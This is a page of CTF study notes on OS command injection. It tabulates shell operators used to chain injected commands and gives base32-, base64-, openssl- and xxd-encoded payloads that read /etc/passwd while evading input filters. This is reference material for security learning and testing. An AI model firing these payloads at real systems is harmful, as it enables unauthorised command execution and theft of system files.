> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-attacks/command-injection.md).

# Command Injection

## Shell injection checklist

| Sequential execution                                         | `; malicious_command`     | `/bin/funnytext ; malicious_command`     | Executes `funnytext`, then executes `malicious_command`.                                                                 |
| ------------------------------------------------------------ | ------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
| [Pipelines](https://en.wikipedia.org/wiki/Pipeline_\(Unix\)) | `\| malicious_command`    | `/bin/funnytext \| malicious_command`    | Sends the output of `funnytext` as input to `malicious_command`.                                                         |
| Command substitution                                         | `` `malicious_command` `` | `` /bin/funnytext `malicious_command` `` | Sends the output of `malicious_command` as arguments to `funnytext`.                                                     |
| Command substitution                                         | `$(malicious_command)`    | `/bin/funnytext $(malicious_command)`    | Sends the output of `malicious_command` as arguments to `funnytext`.                                                     |
| AND list                                                     | `&& malicious_command`    | `/bin/funnytext && malicious_command`    | Executes `malicious_command` [iff](https://en.wikipedia.org/wiki/Iff) `funnytext` returns an exit status of 0 (success). |
| OR list                                                      | `\|\| malicious_command`  | `/bin/funnytext \|\| malicious_command`  | Executes `malicious_command` [iff](https://en.wikipedia.org/wiki/Iff) `funnytext` returns a nonzero exit status (error). |
| Output redirection                                           | `> ~/.bashrc`             | `/bin/funnytext > ~/.bashrc`             | Overwrites the contents the `.bashrc` file with the output of `funnytext`.                                               |
| Input redirection                                            | `< ~/.bashrc`             | `/bin/funnytext < ~/.bashrc`             | Sends the contents of the `.bashrc` file as input to `funnytext`.                                                        |

## Payload Encoding

The following Linux binaries can be used to encode payloads to prevent blacklisting and other filtering:

* `base32`
* `base64`
* `openssl`
* `xxd`

### Base32

Encoding payload

```bash
echo "cat /etc/passwd" | base32
```

Using payload, add a variant of

```
;`echo%20%22MNQXIIBPMV2GGL3QMFZXG53EBI======%22|base32%20-d`
```

### Base64

Encoding payload

```bash
echo "cat /etc/passwd" | base64 
```

Using payload, add a variant of

```
;`echo%20%22Y2F0IC9ldGMvcGFzc3dkCg==%22|base64%20-d`
```

### Openssl

Encoding payload

```bash
echo "cat /etc/passwd" | openssl base64
```

Using payload, add a variant of

```
;`echo%20%22Y2F0IC9ldGMvcGFzc3dkCg==%22|openssl%20base64%20-d`
```

### Xxd

Encoding payload

```bash
echo "cat /etc/passwd" | xxd -p
```

Using payload, add a variant of

```
;`echo%20%22636174202f6574632f7061737377640a%22|xxd%20-r%20-p`
```

## Resources

Code injection - Wikipedia: <https://en.wikipedia.org/wiki/Code_injection>

Command Injection - HackTricks: <https://hacktricks.wiki/en/pentesting-web/command-injection.html>

Command Injection - OWASP: <https://owasp.org/www-community/attacks/Command_Injection>

OS command injection - PortSwigger: <https://portswigger.net/web-security/os-command-injection>

Testing for Command Injection - WSTG - OWASP: <https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection>